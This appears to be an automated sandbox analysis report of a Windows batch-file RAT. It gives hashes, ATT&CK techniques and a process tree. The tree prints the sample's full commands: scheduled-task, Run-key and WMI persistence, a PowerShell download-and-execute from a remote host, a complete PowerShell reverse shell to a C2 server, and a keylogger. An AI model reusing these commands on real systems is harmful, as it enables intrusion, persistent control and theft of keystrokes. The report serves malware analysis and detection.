382535ced6734193074b1b6967a95d6948a4f145d839efabbbe912a131f65957

Analysis

max time kernel
149s
max time network
138s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_153988_014427.bat
Size 4KB
Sample260529-b2evhsgz5j
SHA256 382535ced6734193074b1b6967a95d6948a4f145d839efabbbe912a131f65957
MD5 12d2980333e68d6306646ff8c647ffd1
SHA1 4e031570054ce8a693d7fb693936d602e40df744
SHA512 32ac2c65844b7d314ab4bfdc48b328f14cb2aca2facf261b4dc5c29ae3d26ddccd9a81cfa9f2c4404393db0443b1cbed206edb2a3de7b42a24c9c9f49d2618b5
SSDEEP 96:QIDKWG7EHPqh+3iVhxpAmVivFWIoHQgV8SiFgZk8mvlo1Zhd:QoG7sChOohxNGoQmiFgkHlohd
TLSH
T1C0B1D62767D771A094B15718CA733C58136CE9F72381C69EBA85CEF0094CA8B951A6F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_153988.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5024	powershell.exe
3464	powershell.exe
5020	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_153988 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_153988.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1536	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4724	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3124	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe
3464	powershell.exe
3464	powershell.exe
5020	powershell.exe
5020	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemProfilePrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeProfSingleProcessPrivilege	1308	WMIC.exe
Token: SeIncBasePriorityPrivilege	1308	WMIC.exe
Token: SeCreatePagefilePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeDebugPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeRemoteShutdownPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: 33	1308	WMIC.exe
Token: 34	1308	WMIC.exe
Token: 35	1308	WMIC.exe
Token: 36	1308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemProfilePrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeProfSingleProcessPrivilege	1308	WMIC.exe
Token: SeIncBasePriorityPrivilege	1308	WMIC.exe
Token: SeCreatePagefilePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeDebugPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeRemoteShutdownPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: 33	1308	WMIC.exe
Token: 34	1308	WMIC.exe
Token: 35	1308	WMIC.exe
Token: 36	1308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4016	WMIC.exe
Token: SeSecurityPrivilege	4016	WMIC.exe
Token: SeTakeOwnershipPrivilege	4016	WMIC.exe
Token: SeLoadDriverPrivilege	4016	WMIC.exe
Token: SeSystemProfilePrivilege	4016	WMIC.exe
Token: SeSystemtimePrivilege	4016	WMIC.exe
Token: SeProfSingleProcessPrivilege	4016	WMIC.exe
Token: SeIncBasePriorityPrivilege	4016	WMIC.exe
Token: SeCreatePagefilePrivilege	4016	WMIC.exe
Token: SeBackupPrivilege	4016	WMIC.exe
Token: SeRestorePrivilege	4016	WMIC.exe
Token: SeShutdownPrivilege	4016	WMIC.exe
Token: SeDebugPrivilege	4016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4016	WMIC.exe
Token: SeRemoteShutdownPrivilege	4016	WMIC.exe
Token: SeUndockPrivilege	4016	WMIC.exe
Token: SeManageVolumePrivilege	4016	WMIC.exe
Token: 33	4016	WMIC.exe
Token: 34	4016	WMIC.exe
Token: 35	4016	WMIC.exe
Token: 36	4016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4016	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 2712	4904	cmd.exe	80
PID 4904 wrote to memory of 3124	4904	cmd.exe	81
PID 4904 wrote to memory of 1308	4904	cmd.exe	82
PID 4904 wrote to memory of 4016	4904	cmd.exe	83
PID 4904 wrote to memory of 2008	4904	cmd.exe	84
PID 4904 wrote to memory of 4724	4904	cmd.exe	86
PID 4904 wrote to memory of 1536	4904	cmd.exe	89
PID 4904 wrote to memory of 5024	4904	cmd.exe	90
PID 4904 wrote to memory of 3464	4904	cmd.exe	91
PID 4904 wrote to memory of 5020	4904	cmd.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_153988_014427.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_153988" /tr "C:\Users\Admin\AppData\Local\Temp\_153988.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2712
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_153988" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_153988.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3124
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_153988", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_153988", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_153988.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4016
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_153988.txt
  2⤵
  PID:2008
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4724
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_153988.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b14b48326a1201fc8b9667201c15392e52f7f5819c2aadafe19cbb72b08be51
MD5 04493ed4421328d5e40252891bfe515a
SHA1 ab8a4e3909ff849549ea989049ed30b490f274e7
SHA512 c8ca89143763a72f4ce8f10ffa2e161b59d41454bad0f71fcb4c7e9c8861a5d99bdc787907761bfb8439afad1f0557a1338bbb1054f5810de807633f515d5a76
TLSH
T1A551CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 50bee32324cdf1c545e12e0585bc8ed64af2c65c0ac2c1adf6d7e92651911f40
MD5 2dc504a0acaf3408063d37995f22eb12
SHA1 894e26aaa60e6d5e7310a891ee21c6190443ff05
SHA512 1c6e8678ad64200e15665a1806688abdebac31d5a76dba2a9cf541281afefa50f805516b8f2adad949e6a13c0353f93b8c5ef3dd7d75b7af1ddb9652062d39be
TLSH
T130117A33B79CC135C899117A10CDAD01B2B4C3DB44AEDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gnf0p4zq.s0u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnf0p4zq.s0u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5024-9-0x00000183E6E10000-0x00000183E6E32000-memory.dmp

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